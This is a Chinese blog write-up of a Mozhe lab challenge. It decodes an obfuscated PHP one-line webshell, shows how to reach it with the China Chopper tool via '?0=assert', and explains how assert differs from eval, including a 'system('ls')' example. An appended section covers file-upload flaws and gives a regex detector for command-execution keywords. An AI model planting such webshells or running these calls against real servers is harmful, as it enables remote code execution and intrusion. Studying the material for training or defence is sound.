墨者 - PHP代码分析溯源(第1题)

本文围绕PHP代码展开,通过在线调试工具处理PHP源码变种的一句话木马,利用菜刀链接获取key。还深入探讨了assert和eval函数的区别,前者是可变函数,后者是语言构造器,且在不同PHP版本功能有差异。最后解释了题目中参数代码的含义,解决了相关困惑。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

进入环境,发现是php源码

用在线php代码调试工具调试(要用echo输出,将${$__}[!$_](${$___}[$_]);删掉,否则报错)

结合输出, ${$__}[!$_](${$___}[$_]); 的意思大概是

<?php $_GET[0]($_POST[1])?>

这是php一句话木马的变种

其他更多变种参考:https://blog.youkuaiyun.com/xiaoshan812613234/article/details/41743189

接下来就是菜刀无惧链接了,http://219.153.49.228:46361/b.php?0=assert

 拿到key

如果连不上,不要怀疑方法的问题,是菜刀版本问题......

请换一把菜刀,不要问我是怎么知道的。。。。

总结

   操作可谓是相当简单,但也只是上网找的教程照做而已。心中还有不少困惑,知其意而不明其义。

   一开始,博主很好奇,因为姆语言不是php,不明白为什么会出现一个assert参数,也不明白为什么要0=assert,

   在题目中也是没提示,于是上网深扒。

   在https://www.cnblogs.com/sijidou/p/9168496.html这个解题博客中,发现一句木马的新玩法,不但能通过密码链接,

   还可以直接通告url调动系统函数例如phpInfo(),这里也发现了assert和eval函数的区别。

assert和eval函数的区别

    assert和eval都是可以直接执行括号里的任意代码的,唯一不同的是eval是直接编译的语言构造器,可直接调用echo等可变函数,而assert是一个可变函数,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。但值得注意的是不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。这里具体可以参考:https://www.cnblogs.com/iamstudy/articles/analysis_eval_and_assert.html

     assert这个函数可以在括号里输入任意字符串代码,代码就会被执行,例如

<?php assert('system('ls')');?>

     和eval函数一样, 代码会被执行

     但是这个可以执行任意字符串代码的功能只能php 5 才可以用,php 7以上assert变成了一种语言结构而不是一个函数,

也就是说像eval一样不支持可变函数。

   具体参考链接:https://www.smi1e.top/%E6%B5%85%E8%B0%88eval%E5%92%8Cassert/

   大概明白了assert和eval的区别与用法,但是根本问题没解决,为什么要用到0=assert。

   直到我再翻回之前看过得博客https://www.cnblogs.com/sijidou/p/9168496.html,才恍然大悟,$_GET[1]是用GET的方式

从页面的url获取方法名字为“0”的值assert,现在尝试解释一下题目的参数代码意思

   上面题目的一句话木马

<?php $_GET[0]($_POST[1])?>

  $_GET[0] 获取以GET的方式从页面的url获取了方法名字为“0”的值assert,就会变成以下代码'

<?php assert($_POST[1])?>

   变成了一句话木马的原型

   而且里面的$_POST[1]也可以自由控制参数,什么都不传就是密码为1,菜刀链接上去。

   也可以执行操作,例如用HackBar访问题目网址

 其实这个url的转换到后台的执行是

<?php assert('phpinfo()')?>

 到此,所有困惑已经解决。

### 墨者学院 WebShell 文件上传漏洞分析与溯源方法 #### 背景概述 WebShell 是一种嵌入到目标服务器中的脚本程序,攻击者可以通过它远程控制受害者的服务器。文件上传漏洞通常允许攻击者通过伪造请求或其他手段绕过安全机制,在服务器上放置恶意脚本。 在墨者学院的相关目中提到的内容涉及多个方面,包括 MIME 类型篡改、禁用 JavaScript 绕过前端验证以及利用后缀名规避检测等技术[^1]。 --- #### 漏洞成因分析 文件上传漏洞的主要原因在于服务端对上传文件的安全校验不足。具体表现为以下几个方面: 1. **MIME 类型校验不严格** 攻击者可以使用工具(如 Burp Suite)抓取 HTTP 请求并修改其 MIME 类型字段,从而绕过基于内容类型的限制。例如,将 `.txt` 文件伪装为 `image/jpeg` 格式的图片文件。 2. **依赖客户端验证** 如果仅依靠浏览器端的 JavaScript 验证来阻止非法文件类型,则容易被禁用或绕过。一旦禁用了 JavaScript 功能,就可以轻松提交不符合预期规则的文件[^2]。 3. **扩展名校验缺陷** 当某些应用只检查文件名而未深入解析实际内容时,可能会接受带有特殊后缀名(比如 `.php5`, `.pht` 等变种 PHP 扩展)的文件作为合法输入[^3]。这使得即使表面上看似正常的文件也可能隐藏潜在威胁。 --- #### 解决方案建议 为了有效防范此类问的发生,可以从以下几方面着手改进防护措施: - 加强服务端逻辑设计, 不应单纯信任来自用户的任何数据; - 对于上传过程实施多重过滤策略, 如限定白名单内的 mime-type 和尺寸范围之外还需确认最终存储形式确实无害; - 定期审查现有代码库寻找可能存在的安全隐患点,并及时修补已知漏洞; 以下是实现上述部分功能的一个 Python 示例演示如何初步判断一个给定字符串是否可能是危险命令执行语句的一部分: ```python import re def is_potentially_dangerous(input_string): pattern = r'(?:exec|passthru|shell_exec|system|proc_open|popen)' match_result = re.search(pattern, input_string.lower()) return bool(match_result) test_strings = ["<?php echo 'hello'; ?>", "<?php system('ls'); ?>"] for s in test_strings: print(f"'{s}' -> {is_potentially_dangerous(s)}") ``` 此函数会返回 True 或 False 表明传入参数是否存在可疑的关键字组合。 --- #### 总结 通过对墨者学院案例的学习可以看出,针对 web shell 的防御工作需要综合考虑多层面的因素,从前端界面交互直至后台数据库操作均需保持高度警惕以防万一环节疏漏造成严重后果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值